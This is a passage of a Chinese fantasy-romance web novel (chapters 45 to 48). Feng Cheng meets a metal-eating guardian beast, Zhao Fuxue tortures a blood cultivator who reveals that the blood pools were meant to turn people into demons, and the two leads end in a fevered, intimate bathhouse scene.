“至于崔霁,他被崔岩按回了天机院,此时此刻,应该在年院长那里。” 接着,封澄又笑了笑:“听年院长那里说,崔霁闹得要死要活,非要参进天机军里去,无论是崔家拦还是他爹娘拦,都拦不住他——他爹是助他此次逃出的大功臣,断了一根腿,都要拎着拐杖子打他,还是劝不住。” 赵负雪静静地听着,在封澄说到天机军时,他敏锐地觉察到了封澄若有若无的笑意。 “你……”他想了想,转了个弯,“觉得崔霁进天机军如何?” 封澄还真认真想了:“年轻莽撞了些,毕竟天机军直面魔族,并不是一个连结业考核都通不过的天机师适合去的地方。” 赵负雪等着她接着向下说,果然,封澄又笑了,身上透出一股前所未有的松快之意:“不过年轻人想要历练,去长煌大原吃两年风,倒也不坏。” “从人间走到沙场的人,心底大概都有什么东西想要护着。” “天机军要紧的,就是这个‘护着’,至于本事如何,灵力如何,其余如何,统统不如这个东西要紧。” “如果崔霁要投军,我并不意外。” 赵负雪专注地看着封澄,屋中清甜的花香气一时间荡然无存。 她穿着一身软绵绵的鹅黄外裳,这个颜色柔和,谁穿都无害,头发被哪个侍从梳成了精妙繁杂的款式,赵负雪总觉得似乎在哪群贵女的头上看见过。 封澄长得好看,年纪又小,垂着眼睛乖乖坐着,看着便像是京城里不谙世事的少女——还是被父母娇惯在手心里长大的那种。 可她说起这些话时,他却觉得这副少女的躯壳下,栖息着万里黄沙。 那是魔与人的交界之地,那是每一寸都被血染透的荒原。 旁人说起来长煌大原以及它背后所代替的天魔来,不是愤愤便是怯怯,哪怕是最为顽强的天机师初入长煌,也不免要被其骇伤几日。 而她平淡无比,心平气和。 就像是身经百战的将军。 第45章 第45章“不算认识,”它笑了笑…… 封澄说着说着,便有些困了,她发觉在赵负雪身边时,她总是分外容易睡着。 赵负雪不动声色道:“困了吗?” 封澄打了个哈欠:“不妨事,出去吹吹风就好了。” 赵负雪轻轻偏了偏头:“困了,不要硬撑。我院中有屋子,干净,从没人去睡过,你去打个盹。” 他不说话还好,一说话,封澄更困了,她索性站起身来,勉强抵抗睡意的侵袭。 说来诡异,她当年行军夜袭,几天几夜不合眼的时候也有,可从未像在赵负雪身边这样困过。自从修血道后,她几乎连睡眠都不需要了,一日睡上一两个时辰,便能活蹦乱跳忙碌一整天。 他好像一味专对她生效的安眠香,少年时头痛失眠,什么药都不管用,她便攀上师尊的屋顶,即便是在砖瓦上夜风中,她也能睡得安然。 不过此时日头高照,绝不是睡觉的时候,封澄活动活动,和赵负雪告辞。 “前些日子护国大兽的‘口粮’被崔庆扣着,现下崔庆伏诛,也是该办正事的时候了。可惜了,如果赵公子身体康泰些,便能和我一起去押送口粮了。” 不过看了看赵负雪身上的伤和雪白的脸色,封澄还是笑了:“开个玩笑,你好好休息,晚些我再来看你。” 说罢,封澄转身便走了,听着门合上的声音,赵负雪的眼底霎时有些幽深。 他的手抚上胸口的伤。 片刻,那伤口又沁出灼目的红。 他却浑然觉不到痛一般,待又愈合的伤口被撕裂,他才站起身来,粗粗将伤口一包,随即起身,披袍提剑,向门口走去。 门口侍从见赵负雪出来,司空见惯一般,恭敬又沉稳道:“赵公子,齐遥已被提到了赵府,老尊者吩咐,只要他舌头是全的就行。” 赵负雪冷冷地踏出门,目光中是沉静如水的杀意:“去回老尊者——我尽量。” 封澄刚走出赵负雪的院子,先前的沉沉困意便一扫而空了,此时此刻,她哈欠也不想打了,眼皮也支棱起来了,浑身上下的精神仿佛才灌下去三百碗浓茶,几乎能提着枪把洛京杀个七进七出。 本来押送口粮的活是赵负雪去做的,封澄本不欲插手这等家事,可周寻芳对她明说,押送口粮,便能亲眼见一见护国之兽,如若将其伺候高兴了,兴许还能摸一摸。 封澄那一颗动物之友的心可耻地萌动了。 她搓了搓手,心痒难耐:“说来我还不知道这大兽是圆是扁,从前只听传说,可偏生从未见它醒来,这个机缘不凡,不去的不是人啊。” 可还没等她高兴多久,那几车护国大兽的口粮便被拖了出来。 封澄看了看,登时笑不出来了。 她拉着为首的赵家修士,难以置信道:“劳驾,诸位真的没有拿错东西吗?真的没有把补充到赵家兵器库中的武器拖过来吗?” 从赵家正门到崔家大门,停着一波又一波的车,皆由乌黑油亮的大青牛所拉,车上的东西垒得结实,在日光的照射下熠熠生辉。 是的,赵家拉来的口粮,全部是上好的兵器,全部是被打磨得熠熠生辉的金属。 封澄一时之间错乱了,她的脑海中关于镇国大兽的模样来回破碎——这实在令人难以想象,是什么样子的生灵,才会一车一车地吃金属? 怪不得口粮要由崔家准备——除了崔家那个金砖贴墙的家底,谁能供得起它这么吃饭? 赵家侍从道:“并未带错,今日崔家送来兵器共一百余车,皆是开过刃的——这便是护国大兽的口粮了。” 他道:“我等只能将口粮送至禁地外,不得入内,还请姑娘引青牛入禁地,喂大兽口粮吧。” 封澄凌乱地接过了头牛的缰绳,那青牛颇为乖觉,不用多么狠拉,便顺着她的脚步跟了过来,身后一串的牛也随着头牛的步子跟过来,头牛走得极为稳健,一步一个脚印,封澄不由得走了神:“话说赵家的牛也随赵家的人吗?怎么看起来眉清目秀,还带着股气定神闲的样子?” 禁地居于赵府深处,赵府依山而建,前临长街,后有清幽,清幽易得,闹中取静却不易得,封澄带着牛,越往里走,越是咂舌。 京城寸土寸金,一个破民宅便能要了她不知多少年的俸禄,她一边领着天机院的补贴,一边领着朝廷的俸禄,两份收入,却还是得勒紧裤腰带买房。 而赵家这帮丧尽天良的家伙。 ——在寸土寸金的洛京搞了一排山。 封澄磨了磨牙,久违地仇富了。 幽静之处,更有更幽之地,越走,越是昏暗,不知何时风起,吹起了一地残碎竹叶,摇动了林中之竹,竟让她在这七月盛夏里感到了一丝寒意,封澄抬头看着篆刻着“禁地”的石碑沉默了:“……” 竹林内似乎有嚓嚓之声,似乎是什么动物在咀嚼东西,封澄吞了吞口水,心道:“这动静不妙,莫不是这护国大兽饿得狠了,开始逮人吃了?” 偏生此时,那一路乖顺的青牛昂起头,发出了一声悠长的:“哞——” 封澄的心跳随着林中的咀嚼声一道停止了。 忽闻地内一阵地动,随即便是山林呼啸、群山倾倒的动静,封澄见事不妙,心中大骂周寻芳坑人,抬手便一挥,露出了掌心长枪。长枪出手的刹那,便是一道漆黑庞大的影子闪电似的向她袭来,一道利爪陡然便向她面门击来,封澄举枪相抗,二者击出了清脆的金属之声。 那黑影疑惑一声——封澄诡异地在它的动静里听出了疑惑的意味,然后抬口便咬,谁知一口咬下,只听铛地一声,却不见封澄断枪,封澄收枪为血,又化血为枪,随即反手落枪,铛地一声,劈向了那黑影的脑壳。 一人一兽过招,短短瞬息,几次交锋,皆不见对方落败之色,反而激得禁地竹叶飘零、石块飞散、尘土飘零,哪里还有半分清幽气味? 此时此刻,只有那一头端庄的青牛,老神在在地享用着不知道哪个胃袋里的反刍。 护国大兽不动用分毫灵力,只用体术与她搏斗,封澄只见它身法极快,力道极大,且好似源源不尽一样消耗不绝,她许久未碰到与自己体术相当的对手,封澄越打,眼睛越亮。 几番交锋,她也看清了大兽的样子,出乎她意外的,这并不是什么奇形怪状的怪兽,而是一只活生生的动物。 它的样子十分威武,周身漆黑,身覆坚甲,与麒麟样子相似,只是眼圈通黑,仿佛被什么捣了两拳。 战至此处,封澄心底竟生了几分结交之意,那大兽见她饶有兴味,不知为何,竟然停手了。 它身体一晃,一个假招,虚晃一枪,便窜身落到了青牛身后,低头便叼走了漏在最外的一杆长枪,咔擦咔擦地嚼了起来,看起来是不想打了。 封澄好奇地走近,道:“您便是护国大兽本兽吗?” 大兽瞥了她一眼,转身便又大吃大嚼起来,封澄眼尖地发现,它似乎对长枪情有独钟,一车的兵器,只挑露出来的长枪吃。 她心中好笑,继续道:“赵公子身体抱恙,今日来不了,所以老尊者便派我来了,冒犯到兽大人非我本愿,还请兽大人恕罪了。” 它偏过头,旁若无人地继续吃,好似听不懂人话。 封澄挑了挑眉,忽然越过它,径直走向身后的一群牛,一杆一杆地将车上的长枪都取了下来,护国大兽又偏过头,停下了咀嚼的嘴,看着她的动作。 看样子,封澄是打算把长枪全部取来赔罪了,大兽昂起头,不动声色地等待着封澄靠近。 谁料封澄取了枪来,竟轻巧地使了个踢枪,那枪好似长了眼,竟然嚓地一下,向它扎了过来! 大兽飞快一闪,目瞪口呆。 她如法炮制,一杆一杆的枪飞了出去,大兽眼看着群枪飞来,当即叫道:“你玩不过就耍赖啊?!” 封澄瞥了它一眼:“大人,做兽呢,要有做兽的样子,开口说话这事太诡异了。” 护国大兽咬牙瞪 她,一杆枪恰好扎在它眼前,枪杆由且颤抖不绝:“天上天下,古往今来,开了灵智的神兽只我一个,我会说话有什么奇怪的!不就是一会儿没说话么,你至于这么小心眼。” 封澄站起身来,心中却是奇怪。 这护国大兽她从前也听说过,听说是最为神圣、凛然不可犯的战兽,为大夏王朝护国之兽,哪怕皇家那群人没几个正经修士,可就凭这镇国兽站在皇族身后,这皇权皇位便是稳的。 此时此刻,这大兽在她面前,又是跳脚又是耍赖,虽勉强端着一副大兽的威严,可观这模样,她竟觉得这大兽在与她玩耍。 这就奇了怪了,她何德何能,能让大兽一碰到她便清澈纯良起来? 于是封澄想了想,试探道:“你我,从前认识吗?” 大兽挑着眼前的枪开始吃,口齿不清道:“不认识。” 不认识? 封澄此时不是奇怪,而是活见鬼了:“大人真是平易近人。” 大兽一边嚼着,一边瞥了她一眼,似乎非常满意封澄此时的表情。 封澄便等着它一车一车地吃。 它从日上三竿吃到夕阳西落,又从夕阳西落吃到月至中天,地上铺着一层铁屑,封澄耳边的咀嚼声响了一日。 终于,它看着始终盯紧它的封澄,开口了。 “你很耐心。” 封澄偏了偏头:“没有得到我想要的答案,我不会走的。” 大兽看着她,一双兽瞳里映着她的脸。 她专注地看着它。 刹那间,大兽便知道了。 封澄是带着答案来问的。 “不算认识,”它终于笑了笑,“只是见过。” 第46章 第46章成魔之路,没一个人挨得…… 夜已深了,月至中天,四周已变得很静了,地上的铁屑皎白,仿佛落了一地的霜。 封澄能听到自己的心跳声,疑问得到确认的这一刻,她却笑不出来。 手脚逐渐发麻,心跳越跳越烈,疑问几乎要从她口中冲出来。 今时是天征四年七月十八日,按她前世的年纪来算,这一年她还没出生。 那么这寿命悠长的护国大兽,是如何在很久之前,就见过她的? 封澄还待再问,不料护国大兽踩着一地银霜似的铁屑,擦过她的肩膀,懒洋洋地向禁地深处走去:“不要再问了,再问我也不会说的,你有要问的问题,我也有要交代的人,同你说多了,我怎么交代。” 它的身影渐渐隐没在了漆黑的禁地中,封澄怔然立在原地,四周冷风萧萧,她握着青牛的缰绳,心底忽然茫然了。 想也不想地,封澄扬声道:“告诉我你的名字!” 少女的声音在禁地回荡,回声一波一波地荡出去,许久许久,久得封澄以为没有兽会回答时,禁地深处悠悠传来了一声:“从前之人,称我为八方。” 八方。 封澄将这个名字记诵在心底,暗暗念了几遍,随即转头,牵起青牛,头也不回地向外走去。 她笃定,将来一日,她还会再和八方打交道的。 为什么寿命悠久的神兽,会说在很久之前,就见过她了? 是相貌相似?是转世投胎?还是说像她这次重生一样,死了之后,又另跑到更久之前的往世了? 她心事重重地走出了禁地,一抬眼,忽然想起来什么,暗叫一声完蛋。 今日去看赵负雪时,与他说了要晚些再去看他,可谁知在大兽这里拖了这么久,现下看看月色,当是丑时左右了。 这个时候,别说一贯早眠的赵负雪,就连她也该睡了。 “不如今天就放他个鸽子?”封澄心中嘀咕,“反正此时他也睡了,我深更半夜过去,扰了他清净不好,不如明日再给他赔罪吧。” 可万一赵负雪等着她怎么办?封澄纠结片刻,还是走向了赵负雪的院落。 若放在古安时候,封澄是不会觉得深夜跑到赵负雪的屋子里是件多么冒昧的事的,大不了就是个负雪亦未寝,急头白脸吵他起来,不过见一张带气的俊脸,挨一顿不痛不痒的数落。 可偏生前几日,这糊涂种子说了一堆莫名其妙的话。 于是她站在他的门前,却下不去手敲他这个门了。 封澄咬了咬牙,纠结片刻,心道:“去他丫的,前怕狼后怕虎,封大将军何时孬种至此了?!” 她抬起手来,轻轻叩了叩窗棂,道:“赵公子,你睡了吗?” 屋内寂静无声。 难道是睡了? 封澄莫名觉得心中不对劲。 赵负雪的院子不要人夜间伺候,只有院外几个守夜的护卫,她左右看了看,索性一不做二不休,抬手便推了门,提步进去道:“赵公子,我进来啦?” 回答她的是一屋的寂静,漆黑一片,没有呼吸声,也没有赵负雪身上的冷香气。 封澄走到他的榻前,看着整洁且一丝不苟的床榻,皱了皱眉。 *** 今日见血,白衣不宜。 牢中黑火摇曳,赵负雪的脸半隐在阴影中,令人看不清他眼中情绪。 他穿着一身漆黑劲装,一头墨发被一根同色发带高高束起,露出了一双剑眉,以及剑眉下沉水似的双目。 更为刺眼的,是他面前的人。 那人早已看不出人形来,周身皆是新鲜血痕,按理说常人受此千刀万剐早该死了,可细看他伤痕,却发觉这伤刃刃剜足,却不致死,可见执刑之人手法高明。 这种时候,无论谁看到执刑的赵负雪,都说不出一句“君子如玉”来。 他的锋利,他那居高临下、目中无情的睥睨与傲气,在这身黑衣之下越发灼目,几乎锐利得能刺伤人。 侍从将一张座椅摆在了齐遥面前,赵负雪不紧不慢地坐了,他盯着挂在刑架上的齐遥,缓声道:“只凭你平日罪状,便足够送你去见阎王,此时老尊者给你条活路,把你知道的说出来,饶你不死。” 齐遥挨了赵负雪的重手,此时连眼都睁不开了,他勉力撑起一条细缝,呵呵冷笑道:“没曾想赵公子看着文雅,下起手来,却比我们这些血修还狠。” 赵负雪眉心不动,抬起食指,只听一声剑啸,又是当口一剑。 齐遥偏开头,半晌,他终于忍耐不住,道:“你想知道什么。” 赵负雪停手,道:“你的香料是从哪来的。” 齐遥闻言,竟哈哈大笑起来:“赵公子,这话我若是说出来,下场连落在你手里都不如,还不如多挨你几刀,死了了事。” 他慢慢道:“敢杀赵家放出来的人,倒是胆子不小。” 黑吃黑?倒不像,越是这些散漫不成派别的血修,越是怕碰上赵家这等秩序森然的庞然大物,公然杀了赵家审讯出来的人证,几乎等同于对赵家挑衅。 一帮溃不成军的血修,几队赵家修士出手,便灭得差不多了。 他眼神暗了暗,心底有些不一样的猜测。 这么想着,齐遥也觑着他神色笑了:“我可什么都没说,赵公子,你乱猜的,莫要怪我。” 赵负雪冷冷道:“血池是做什么的。” 齐遥挑了挑眉——他眉毛上淋着血,挑得分外吃力:“赵公子,此时血池里的人都死绝了,再问这,可有意思?” 他又继续道:“总之呢,血池里的所得,我一口也没吃到,便被你们连锅端了。既然我没吃着这个罪果,你们又何必审讯我的罪因呢?” 这番恬不知耻之言,一旁的侍从绷不住表情,当场道:“岂有此理,救人是封姑娘做的,又不是你良心发现把人放了——你好不要脸!” 一听到说起封澄,赵负雪的眉微微松了松。 不知她忙完后,什么时候来找他? 他一想起封澄,心口便又软又酸,此时此刻,竟微微有些走神了。 牢里血气熏人,肮脏不堪,他得趁着封澄到访前沐浴更衣,再将 屋子里拿熏香熏个遍才好。 赵负雪这般想着,目光中又不自觉地透出了些明亮的笑意,这笑意将他面上阴鸷一扫而空,竟活脱脱一副怀春少年模样,若不是他身旁利刃鲜血未干,齐遥还以为这是哪个天机院的生徒。 齐遥看在眼里,肿胀的双眼都瞪大了,半晌,他心底憋着一股气,突然呵呵道:“这血池的用途嘛,也不是不能和公子说。” 赵负雪眼神一暗:“那还废话什么。” 齐遥看着他,一双眼睛忽然亮了起来,目光中恶意几乎抑制不住:“赵公子,你可知道我们血修,是怎么修行吧?” 赵负雪一句话也不说。 齐遥道:“咱们血修啊,逮到一只肥羊,要慢慢地、好好地享用,就像你们剑修惜剑一样,我们也是很认真地对待他们。” “首先呢,要把经脉割开,经脉中灵力是最足的,血气也是最盛的,这些都是宝贝,要一口一口地嘬才不浪费,然后是肉——肉里的灵力也不少,倘若是剑修呢,右手的灵力比左手足些,符修阵修呢,心头里灵力比旁处多些,体修呢,则是外面那层皮最有味道。” 他这么津津有味地说着,一旁的侍从早已作欲呕吐状,齐遥的目光盯着赵负雪,上下梭巡:“赵公子,你知道,自打你降世那一日起,整个血修界,没有不想这么吃了你的。” “最精华的地方,则是人的骨头,修道有成者,骨头都是莹白如玉的,一咬开,异香扑鼻,”齐遥盯着他道,“至于天生剑骨,那更是没人吃过的好东西——赵公子,你身边的血修,便也是我们这样的东西。” “不如这样,与其便宜了她,不如你分我一根指骨,我什么都与你说了,如何?” 赵负雪抬起食指,一道剑啸,血线飙出——他齐齐斩断了齐遥的食指骨。 “说有用的。” 齐遥痛嚎不已,赵负雪为了不让他失血而死,从来只是在皮肉上作功夫,根本没动过他的要害,他缓了片刻,吃力道:“可是,赵公子,你知道吗?血修,是有极限的。” 赵负雪神色不变,眼睛半抬,面无表情地看着他。 “人,只有吃人,才能成为人上人,”齐遥口中发出冷嘶声,他食指并未止血,血液流失的速度比他想象得快,“可即便是,吃成了人上人,也始终只是,人,而已。” 既然是人,那便有肉体凡胎的极限,血修急快修行、凶横力量的背后,却是封在头顶的、人的极限。 因为修道灵源皆为人之血肉,故血修抢夺他人之物,并无本身道心,所以血修至死,也无法触摸到各道集大成者的极限。 他却笑了:“可这时候,血修们便有疑问了,如果说人的极限可见,那么换个样子……魔呢?” “魔的极限,在哪里呢?” 赵负雪猛地攥住了椅子的把手,那精钢一样的把手陡然碎成齑粉,“你说什么?!” 齐遥大笑:“如果把人的浑身血液换成魔的,如果把人的周身骨骼换成魔的,再把人的遍体经脉换成魔的,那么人与魔,还有什么区别呢?” “诸位不是想知道那血池做什么的,我便说了,”齐遥盯着赵负雪骤然惨白的脸,眼睛闪闪发亮道:“除活血,碎骨骼,断经脉,那血池便是成魔之路,可惜没一个人挨得住,试了多少人都不行——喏,里面的人,都是这么死的。” “化魔身,去吃魔族的血修,真的会有极限吗?”他说起来无比向往,“血池还会有的,绝不止崔府这一处。” 赵负雪的牙咯地一咬,随即杀气震天,腰间见素霎时出鞘,径直向齐遥胸口刺去,一旁侍从肝胆俱裂,不知是那句话戳中了赵负雪的心肝:“公子,公子!老尊者吩咐要留他舌头的,莫要贸然动气啊!” 赵负雪双目赤红,手背上爆出青筋,他森然道:“给我,闪开。” 第47章 第47章赵负雪猝不及防,被狠狠…… 封澄还是从周寻芳的口中得到了赵负雪的去向,她一得到消息,连告辞也来不及说一句,飞也似地关门跑了,周寻芳躺在榻上,看着她飞奔出去的身影,一时有些哑然失笑。 此时此刻,周寻芳穿着寝衣,半倚在榻上,头上缠着抹额,像个寻常人家的老祖母。 她偏偏头,对着一旁前来议事的赵年,轻声道:“这丫头,和他祖父性子像,对不对。” 赵年看着膝上账目,沉默片刻,道:“比老家主更不守规矩些。” 周寻芳想到那禁地一日的喧闹,一时间笑纹更深了。 夜风从封澄的双颊刮过,掀起她墨似的漆黑长发,封澄脚不沾地,双目喷火,几乎破口大骂。 赵负雪嘴严如此,提审血修这种事,竟半句口风不露。 晨起还卧病在床奄奄一息呢,她一走,竟然就这么突然变脸,雄赳赳气昂昂地下地牢了! 怎么年纪时候,就这么爱演呢! 还没等她骂完,一股腾然剑气便从南方一刺而出,径直撕裂了半片夜空,她抬头一看,心中暗道一声不妙,这剑气杀意横生,寒意逼人,乃是赵负雪的剑气! 封澄奔来地牢,脚尖方触到地上,数位看守举剑便要拦:“封姑娘,赵公子吩咐,谁都不许入内。” 十九把剑寒光闪闪,照得封澄愈发心焦,此时缠斗定然耽误。 陡然间,地牢中却蹿出一个灰扑扑的修士,其人灰头土脸,样子却颇为面熟,像是常在赵负雪左右,他面色灰白,抬头见到剑拔弩张的双方时,眼睛却唰地亮了:“拦拦拦,就知道拦,这个不准拦!封姑娘!公子忽然有些不对,求您去救他!” **** 齐遥一怔,虽然不明白,但看到赵负雪这般失态,也不由得哈哈大笑起来:“奇了怪了,我哪句说到你痛处了?你说出来,也让我别白挨了这些打,高兴高兴。” 赵负雪的目光中已然全是寒色。 他咬着牙,一字一顿道:“你们这群彻头彻尾的畜生。” 赵负雪的脑中闪过的,却是封澄的脸。 额上半只巨角,面色鳞片横生,两只手巨大锋利,爪尖有混着血的雨珠垂下。 怪物谨慎地站在他三尺之外,一双含笑的眼睛上覆着坚硬的鳞片。 她不安又忐忑,看向他的眼神小心又悲伤。 古安的雨夜阴沉,暴雨如注,石头大的雨点淋到她的长发上,转瞬便被她过高的体温所蒸腾。 赵负雪清楚地听到,在那一刻,他所谓的剑心与道心,坚守的大义与正道,悄悄碎成齑粉。 他不知被哪路鬼魅迷惑,轻而易举地背叛了平生大道,决然成为那只魔的共犯。 难受吗? 想必是难受的,除血,碎骨,断经脉。 每一件都是酷刑。 他闭目,周身剑气尖声啸叫,咆哮刺耳。 雪亮剑光照得阴森地牢一片惨白,那升腾的黑火似乎都挂上了白霜,忽然间,赵负雪身后传来一道怒喝,随即便是一杆熟悉无比的枪当空刺来:“赵负雪,杀了人证,难道你去金銮殿上作证吗?!” 赵负雪反手接招,猛地一怔。 封澄一见赵负雪这副眉眼挂霜的模样,登时气不打一处来,她一枪断了赵负雪的剑招,又反手拦在了他与齐遥面前,怒道:“有什么事非要你这般动用灵力?你身上有伤,即便再审不来,也要稍微顾及一下自己!” 赵负雪怔怔看着她。 封澄觉得赵负雪的眼神有些怪——虽然平日里他的眼神就够怪了,但不知是地牢阴森的缘故还是什么,他的眼神更怪了。 她心底嘀咕:“这个表情,怎么看起来,像是要哭了。” 二人面面相对,沉默无语,一旁齐遥越发觉得这气氛诡异,忍不住挣得铁链哗哗作响,怒道:“又是你!怎么哪儿都有你!” 封澄回过神来,回头瞥了他一眼,目光不善:“看着软塌塌一个人,竟然嘴这么硬。” 嘴硬得把赵负雪气哭了,她是真心不爽。 想了想,封澄狡黠地眨了眨眼:“齐——齐遥是吧?听说你往家中寄了钱?” 齐遥肿胀的眼霎时警惕起来:“你什么意思。” 他无父无母孑然一身,心中所念,唯有五十八房貌美姬妾, 个个都站在他心尖尖上,她们的花用都是洗干净过了明路的,绝不会有人发现她们的! 封澄笑了:“没什么意思,就是方才无意听赵院长算了几笔崔家的烂账——就这么说,谁给你洗的账啊,茅厕教出来的帐房先生吧?” 她当年抓的那个私吞军费的叛徒可比他洗得干净,至少不会出现恭房马桶支出黄金六百两、爱犬丧仪礼钱黄金三千两这种离谱东西。 齐遥的脸霎时一片惨白,他心底清楚,账目一出,顺藤摸瓜找到他宅院只是时间问题:“等等,你们这群没有心肝的人!!我该说的都说了!” 封澄见赵负雪这副眼圈红红的样,半点不信齐遥的话:“你招了还能给他气成这样!少放花屁,早点招了都好过,咱们血修的手段上不得台面,他赵家干不了的事,我能干。” 说着,封澄一拉赵负雪肩头,作势就要离开。 赵负雪看着封澄风风火火地闯进来,毫不犹豫将他一顿揍,又条理清晰地把那齐遥气了个倒仰,仿佛给他出气似的,狡黠得像个打了胜仗的狐狸。 封澄是个奇怪的人,赵负雪目不转睛地看着她。 她令心痛这件事,都变得甘之如饴。 齐遥在后面怄得要吐血:“回来,你给我滚回来!” 封澄一回头,还想再呛两句,谁料身后齐遥气急了眼,大吼一声,只见前胸斑斑伤痕处猛地起了一层鳞片,随后铁链在他骤然有力的身体下发出了不堪重负的噼啪声,赵负雪想也不想,提剑便拦在封澄面前——这齐遥竟也是入过血池的人! 封澄一番激将,竟逼出他这样的底牌。 魔气陡然地冲向封赵二人,不料还未等赵负雪反击,齐遥的魔气却像是熄了火的屁一般,悄然无声地散去了。 这转瞬的化魔也未能挣开捆着齐遥的铁链,他仿佛燃尽的柴火般,颓然垂下了头,昏迷过去,露在外的四肢焦黑,散出一阵一阵的黑烟。 入过血池,但没入成,这魔气的纯度,充其量是进血池换了俩指甲盖。 他微微松了一口气,一回头,正要对封澄道一句无事,谁料封澄眼睛睁得大大的,踉跄两步,竟然一弯腰,吐出了一口血! 赵负雪陡然魂飞天外,他的瞳孔剧烈紧缩,仿佛心跳停了一般,当机立断地,他一把便要抄起封澄来,谁料封澄吐出两口血来,却轻轻地按住了赵负雪的手。 “先别声张,”封澄声音有些哑,“不妨事,带我回客栈——温不戒的药在那里。” 不声张也是有理由的,这魔气杀机不行,微弱得像娘胎里的天魔,都不用晕,吐两口血就清醒了。 赵负雪却觉得封澄身上有些热,他摸了摸封澄额头,皱眉不已:“有些发热,留在赵家,我寻最好的医师来为你看看。” 封澄抓着赵负雪的手更紧了,她狠狠摇了摇头,心道若是寻赵家的医师来,那咒铁定会被捅露给赵负雪。 寻施咒之人如大海捞针。 她早生私心——赵负雪绝不能知晓任何。 总归也是死不了的,她只恨齐遥那损种看着菜包一个,结果最后搞出这膈应人的屁事来,放了个闹着玩似的的魔气,只坑惨了她。 她觉得有些昏沉,渐渐看人有些重影,于是她咬牙道:“若你家神医瞧出我不是人来,我这日子还过不过了,赵公子,少横生枝节了。” 赵负雪微微垂了垂眼睛。 “不是人就不是人,”他慢慢道,“你即便是王八也没关系,我站在你这这边,你是什么,我就是什么,看谁敢说话。” 封澄一口血登时噎在胸口。 她难以置信地抬头看着赵负雪,目瞪口呆。 赵负雪垂眸,好似方才那番话再平常不过一样,他小心地把沾了血的外裳脱下,认真地弯腰,要把封澄抄起来:“走。” 封澄几个挣扎,将自己从赵负雪的怀中拯救出来,顶着满脑昏胀,飞快地蹿出地牢,半空中只有封澄的悠悠回音:“不不不,赵公子,一起当王八这种美事,我就不掺和了!” 她方才还莫名吐了两口血,转眼便生龙活虎地跑了,赵负雪无奈摇了摇头,走出地牢,在众侍从目瞪口呆的表情中拿走备好的雪白外裳,冷静地穿起来。 “讳疾忌医……不像,怕麻烦……更不像,”赵负雪心中微微发沉,“偏生不肯看医师,必有蹊跷。” 她若不愿看医师,哪怕神仙来了也按不住她,赵负雪想了想,还是微微叹了口气,转身向着封澄栖身的客栈掠去。 总归今夜,先看着她吃了药才好。 她栖身的客栈离赵府并不远,老板见赵负雪前来,凑上前道:“赵公子,姑娘方才进去,说若是您来了,就说她已吃过药了……” 封澄这个毫不用心的骗子。 赵负雪轻微磨了磨牙,抬手解下腰间佩玉,丢给老板:“这会儿功夫,药炉都沸不得……你只说拦了,没拦住。” 老板不敢吱声,诺诺退下。 赵负雪轻车熟路地找到了封澄的房间前,敲了敲门,道:“即便着急,也要吃药。” 屋内一片寂静。 这个时候,封澄不会睡的,且她也不会装作没听见,赵负雪心中暗暗转了几圈,打定主意,一把推开了门。 屋内是暗的。 赵负雪的心登时揪紧了,他慢慢地走向昏暗的屋子中,屋内一片黑暗,不燃丝毫灯火。 唯有浴房内,隐隐透出半分光亮。 并未听闻老板说她要水洗浴。 赵负雪又皱眉了——她泡的冷水? 想也不想地,他轻轻敲了敲浴房的门,轻声道:“我去叫桶热水来,你且出来,不要洗冷水。” 回答他的是一片寂静。 半晌,他听到了浴房内扑通一声,似乎是什么人摔倒在地,紧接着便是封澄熟悉的声音,她口中不知说着些什么,赵负雪当机立断,抬手便撕下衣摆,蒙住眼睛,推门道:“得罪了,我回头向你赔罪。” 浴房的门却陡然开了。 紧接着一只高热的手伸出来,一把抓住他领子,赵负雪猝不及防,被狠狠地甩在了冰冷的浴池里。 第48章 第48章吻 来顺客栈乃是在洛京开了几十年的老客栈,平日里客人络绎不绝、竞相夸赞,原因自然不是它那气冲云霄的房费。 浴池很大,天字上房的浴池更大,宽敞得几乎能放几个人一同进去,赵负雪单腿支在水中,狼狈地抹了一把脸。 面上白布已被水洇透,遮挡作用已近乎于无,透过这薄薄白布,赵负雪隐隐约约看见封澄向他走来,穿着完整,并未脱衣。 封澄看起来不太清醒,赵负雪敏锐地察觉到此,心中暗道:“身上这么热,难怪要用冷水泡着——嘶?” 他抬手要摘白布,不料手刚抬起,便被一只滚烫的手抓住。 封澄靠近了。 她紧紧地抓着他的手腕,脸几乎凑在了他的鼻尖前,赵负雪感觉到封澄的鼻息扑在脸上,热热的,弄得他也跟着一起热起来。 许是因这白布的缘故,她的脸并不清晰,朦朦胧胧,昏昏沉沉。 可赵负雪却莫名觉得,封澄在盯着他。 裸漏在外面的,是喉咙,还有心口。 要害之处。 他想到了被头狼盯上的猎物,忽然觉得喉咙处有些紧。 偏偏此时,浴房中的烛火陡然熄了——想必是封澄来得匆忙,只点了个残烛,烧尽了。 浴房内一时间漆黑,唯有月色透窗而来,将将勾勒二人身影。 赵负雪的视线更昏暗了。 视觉受阻,其余四感却叫嚣着、蔓延着放大。 封澄压在他身上,身上的香气笼着他,令人避无可避,她的手慢慢地停在了赵负雪的脖颈处,滚烫。 赵负雪忽地口干舌燥起来,他垂眸,沉吟片刻,手蓦地抓住了封澄的手。 他的唇角勾起个似有似无的笑意。 月色水光落在他身上,赵负雪一只手支在浴池中,另一只手抓住封澄的手,他的身上白衣已然被水 浸透,隐隐贴在他的身体上,露出些引人遐想的线条。 他的双目被白色布条蒙着,墨发披下去,发尾浸在水中,这张脸本该俊美如谪仙,可此时此刻,却像是人间饱饮凡情的妖孽。 封澄的体温极高,夏日本就衣衫轻薄,此时二人的体温更是顺着沾湿的衣物透来。 这事可不妙了,他心想。 他缓声道:“封澄。” 封澄似乎偏了偏头。 赵负雪将她的手紧了紧:“你还清醒吗?” 封澄不回答,赵负雪感觉她的视线在他身上来回梭巡,正当他疑惑封澄想要做什么时,喉咙却忽然一痛。 她咬了上来。 唇舌高热,连带着他流出的血液也跟着滚烫起来,赵负雪瞳孔骤然紧缩,他失神地仰着头,被蒙住的双目一片空白。 砰砰,砰砰。 封澄的心跳声紧紧地贴着他的心跳。 她心跳很快,几乎震得他胸口生疼。 封澄的犬齿很尖,她咬人大概是不高兴,并不是什么血修的本性。赵负雪坐在冰冷的浴池中缓过神来,咬咬牙,正要拉开封澄,她却自己松了嘴。 赵负雪微微睁大了眼睛。 忽然间,封澄凑到他喉咙的伤口上,小心翼翼地吮了一下。 在她高热且柔软的吻触上他的脖颈时,赵负雪扶在浴池边的五指霎时捏紧,一声迸裂,这浴池的边缘竟被硬生生掰下来了一小块。 “你知道自己在做什么吗?”赵负雪的喉咙已经有些哑了。 